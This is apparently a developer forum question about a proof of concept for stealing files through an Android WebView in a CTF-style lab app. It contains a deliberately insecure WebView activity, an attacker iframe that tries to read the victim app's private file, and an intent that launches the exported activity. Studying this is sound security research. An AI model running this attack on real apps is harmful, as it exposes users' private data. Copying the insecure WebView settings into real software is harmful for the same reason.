I am trying to build a PoC on a file theft in Android Webview for research purposes. However, I'm not able to load the supposedly stolen content in iFrame. Tried with different Android versions but no success. So I figured I might be doing something wrong here. First of, this is how the webview activity looks:
@SuppressLint("SetJavaScriptEnabled")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.webview_activity)
val webView = findViewById<WebView>(R.id.web_view)
val file = File(filesDir, "secret.html")
if (file.exists()) {
val content = file.readText()
Log.d("FileContent", "Secret file content: $content")
} else {
Log.e("FileContent", "Secret file not found")
}
with(webView.settings) {
javaScriptEnabled = true
allowFileAccess = true
allowUniversalAccessFromFileURLs = true
allowFileAccessFromFileURLs = true
}
// expecting something from a content provider. SOP content://
webView.loadUrl(intent.getStringExtra("URL")!!)
webView.addJavascriptInterface(JavascriptObject(), "victimApp")
}
Followed by a Javscript interface:
inner class JavascriptObject {
@JavascriptInterface
fun arbitraryMethod(input: String) {
Log.i("Flag40", ("victimApp.arbitraryMethod(\"$input").toString() + "\")")
val readFile = readFile(this@WebViewActivity, "secret.html")
Utils.writeFile(this@WebViewActivity, "secret.html", input)
/*
So basically if the files match, the flag is considered captured
*/
if (readFile == null || readFile != input) {
Log.d("Flag40", "arbitraryMethod: Failed")
return
}
Log.d("Flag40", "arbitraryMethod: FLAG CAPTURED")
}
}
The secret html file path is wrriten like this:
fun writeFile(context: Context, str: String, str2: String) {
val parentFile = File(context.filesDir, str).parentFile
if (parentFile != null) {
if (!parentFile.exists()) {
parentFile.mkdirs()
}
}
try {
val fileOutputStream = FileOutputStream(File(context.filesDir, str))
try {
fileOutputStream.write(str2.toByteArray())
fileOutputStream.close()
} finally {
}
} catch (e: IOException) {
e.printStackTrace()
}
}
And now the PoC of the attacker:
<iframe id="secretFrame"></iframe>
<script>
const frame = document.getElementById("secretFrame");
frame.src = "file:///data/data/com.victimapp/files/secret.html";
frame.onload = function () {
document.body.style.backgroundColor = "yellow";
console.log("Iframe loaded!");
try {
const doc = frame.contentWindow.document;
console.log("Iframe Content:", doc.body.innerHTML);
document.body.innerHTML += `<div style="color: blue;">Iframe Content: ${doc.body.innerHTML}</div>`;
} catch (e) {
console.error("SOP Blocked Access:", e);
document.body.innerHTML += '<div style="color: red;">SOP Blocked Access</div>';
}
};
</script>
And then send the malicious intent from an attacker PoC:
val contentUri = Uri.parse("content://com.basic_attacker/thief.html")
val intent = Intent().apply {
putExtra("URL", contentUri.toString())
setComponent(
ComponentName(
"com.victimapp",
"com.victimapp.WebViewActivity"
)
)
addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)
}
startActivity(intent)
I have made sure that the ContentProvider of the attacker is a weak one so that any app in the system can open it. And that is true, the html can be loaded in the victim app. However the iFrame remains blank:
I did try a lot of stuff, also considered that the secret path might be incorrect (tried a lot of variations) but still no luck. I did google a lot and it seems that a file://
path is possible to be loaded in an iFrame even though the Same Origin Policy in this case is content://
.
The secret html is just a hello world html. Nothing fancy.
Any idea what I might be doing wrong?